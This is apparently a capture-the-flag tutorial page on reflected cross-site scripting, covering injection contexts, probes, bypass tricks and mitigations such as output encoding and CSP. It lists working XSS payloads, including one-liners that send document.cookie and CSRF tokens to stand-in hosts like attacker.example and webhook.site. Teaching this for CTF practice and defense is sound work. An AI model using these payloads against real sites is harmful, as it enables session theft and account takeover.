Reflected XSS
Find and exploit reflected Cross-Site Scripting vulnerabilities in CTF web challenges.
Reflected XSS
Reflected XSS occurs when an application includes attacker-controlled data in an immediate response - typically in a URL parameter, query string, header or form field - without properly encoding or validating it. Because the payload is reflected in the response, the attack is usually delivered via a crafted link that a victim must open.
Quick summary
- Impact: session theft, CSRF token exfiltration, forced actions via the victim's browser, or delivering browser-based exploits.
- Delivery: a crafted URL, a malicious link in a message, or an injected parameter in an HTTP request.
- Distinction: reflected (one-time link) vs stored (persisted) vs DOM XSS (client-side only).
CTF Quick Start
-
- Find a reflection point (URL parameter, header, or form) that is visible to an admin/bot.
-
- Confirm with a benign marker:
?q=<b>ctf-test</b>and check rendering.
- Confirm with a benign marker:
-
- Test minimal payload per context: alert(1) via script, image
onerror, or SVGonload.
- Test minimal payload per context: alert(1) via script, image
-
- Use a webhook (webhook.site / Burp Collaborator) to capture exfil:
new Image().src='https://webhook.site/ID?c='+btoa(document.cookie).
- Use a webhook (webhook.site / Burp Collaborator) to capture exfil:
-
- Submit payload and wait for admin/bot; collect flag or token from webhook.
Payload library (one-liners)
- HTML body:
%3Cscript%3Ealert(1)%3C/script%3E - Image onerror:
<img src=x onerror=alert(1)> - Attribute break:
" onmouseover=alert(1) x=" - JS string break:
";alert(1);// - URL payload:
javascript:fetch('https://webhook.site/ID?c='+btoa(document.cookie))
How reflected XSS works (simple flow)
- Attacker crafts URL containing payload (e.g.
?q=<script>alert(1)</script>). - Victim clicks URL or visits it indirectly.
- Server reflects the payload into the HTML response without proper encoding.
- Victim's browser parses and executes the injected script.
Contexts that matter
The exact payload depends on where the input is reflected:
- HTML body (unescaped):
<div>USER_INPUT</div> - HTML attribute:
<input value="USER_INPUT">(requires breaking out of the attribute) - URL/attribute contexts:
<a href="USER_INPUT">or<img src="USER_INPUT">(javascript: or data: payloads) - JavaScript code:
var x = "USER_INPUT";(requires breaking out of string/statement) - CSS context:
style="background:url(USER_INPUT)"(less common) - DOM-sourced sinks:
element.innerHTML = USER_INPUT(DOM XSS)
Understanding the reflection context is the first step to crafting a working payload.
Testing checklist (quick probes)
- Identify reflection points:
-- ?q=<h1>test</h1> - does the tag render?
-- ?q="onerror=alert(1) - do attributes break?
-- ?q=';alert(1);// - check inside JS contexts.
- Try minimal payloads per context:
- HTML body:
<script>alert(1)</script>or<img src=x onerror=alert(1)> - Attribute:
" onmouseover=alert(1) "or' onfocus=alert(1) ' - JS string:
";alert(1);//or');alert(1);// - URL:
javascript:alert(1)ordata:text/html,<script>alert(1)</script>
-
Observe response source (view-source) to determine escaping and exact location.
-
For blind/reflected timing: use redirects or time-delaying payloads in environments supporting
sleep/setTimeoutfrom injected JS (rare in pure reflected XSS).
Practical payloads by context
HTML body (simple):
<script>alert(1)</script>If <script> is filtered, use event handlers and orphan elements:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>click</details>Attribute breakout (example):
Original server output: <input value="USER_INPUT">
Payload: " onmouseover=alert(1) x=" → results in:
<input value="" onmouseover=alert(1) x="">Inside JavaScript (string context):
Original: var name = "USER_INPUT";
Payload: ";alert(1);// → becomes:
var name = "";alert(1);//";URL contexts (href/src):
<a href="javascript:alert(1)">x</a>
<a href="data:text/html,<script>alert(1)</script>">x</a>DOM sink example (client-side reflection):
If page runs document.body.innerHTML = location.search.substr(1) and attacker controls location.search, use the same body payloads - DOM XSS is executed entirely client-side.
Exploitation patterns (practical)
- Cookie exfiltration (note: cannot read
HttpOnlycookies with JS):
<script>new Image().src='https://attacker.example/?c='+encodeURIComponent(document.cookie)</script>- Token or DOM data exfiltration via
fetch/XMLHttpRequest:
<script>fetch('https://attacker.example/?data='+btoa(document.querySelector('meta[name=csrf]').content))</script>- Post-exploitation: use XSS to perform actions as the victim, escalate to stored XSS, or chain with other vulnerabilities.
Bypass techniques
- Encoding: URL-encode, HTML entities, UTF-7, or Unicode homoglyphs when simple characters are filtered.
- Attribute tricks: break out of quotes, inject event handlers, or use
javascript:/data:schemes in URLs. - Tag alternatives: SVG, MathML,
<details>,<video>/<audio>withonerror/onplayhandlers. - DOM-based: if server-side blocks are strict, exploit DOM sinks in client scripts.
Examples:
password=%7B%22$ne%22%3A%22x%22%7D # url-encoded JSON (NoSQL) - shows approach used in NoSQL injection
%3Cscript%3Ealert(1)%3C%2Fscript%3E # URL encoded script tagMitigations and best practices
-- Context-sensitive output encoding (escape HTML, attributes, JS, URL contexts) - do not use a single sanitizer for all contexts.
- Use framework/template escaping helpers (e.g., React escapes by default; JSP/Thymeleaf have encoders).
- Set
HttpOnlyandSecureon session cookies; useSameSitewhere appropriate. - Implement a strong Content Security Policy (CSP) that disallows inline scripts and limits script sources (
script-src 'self' 'nonce-...'), but treat CSP as defense-in-depth. - Validate and canonicalize input; reject unexpected types (e.g., objects vs strings).
- Avoid
innerHTML/document.write()and prefer safe DOM APIs (textContent,setAttribute). - Output least privilege for admin interfaces and limit automated admin link-clicking by bots.
Detection and automated tools
- Manual: view-source and try context-specific payloads; inspect DOM and dynamic script insertion. -- Tools: Burp Suite, ZAP, and custom scripts can detect reflections and common payloads. Use scanners as a supplement - manual context analysis is required.
See also
- Cross-Site Scripting - Overview
- Stored XSS
- Reflected SQLi/NoSQL notes
- Cross-Site Scripting - Overview
- Stored XSS
- Reflected SQLi/NoSQL notes
Last updated on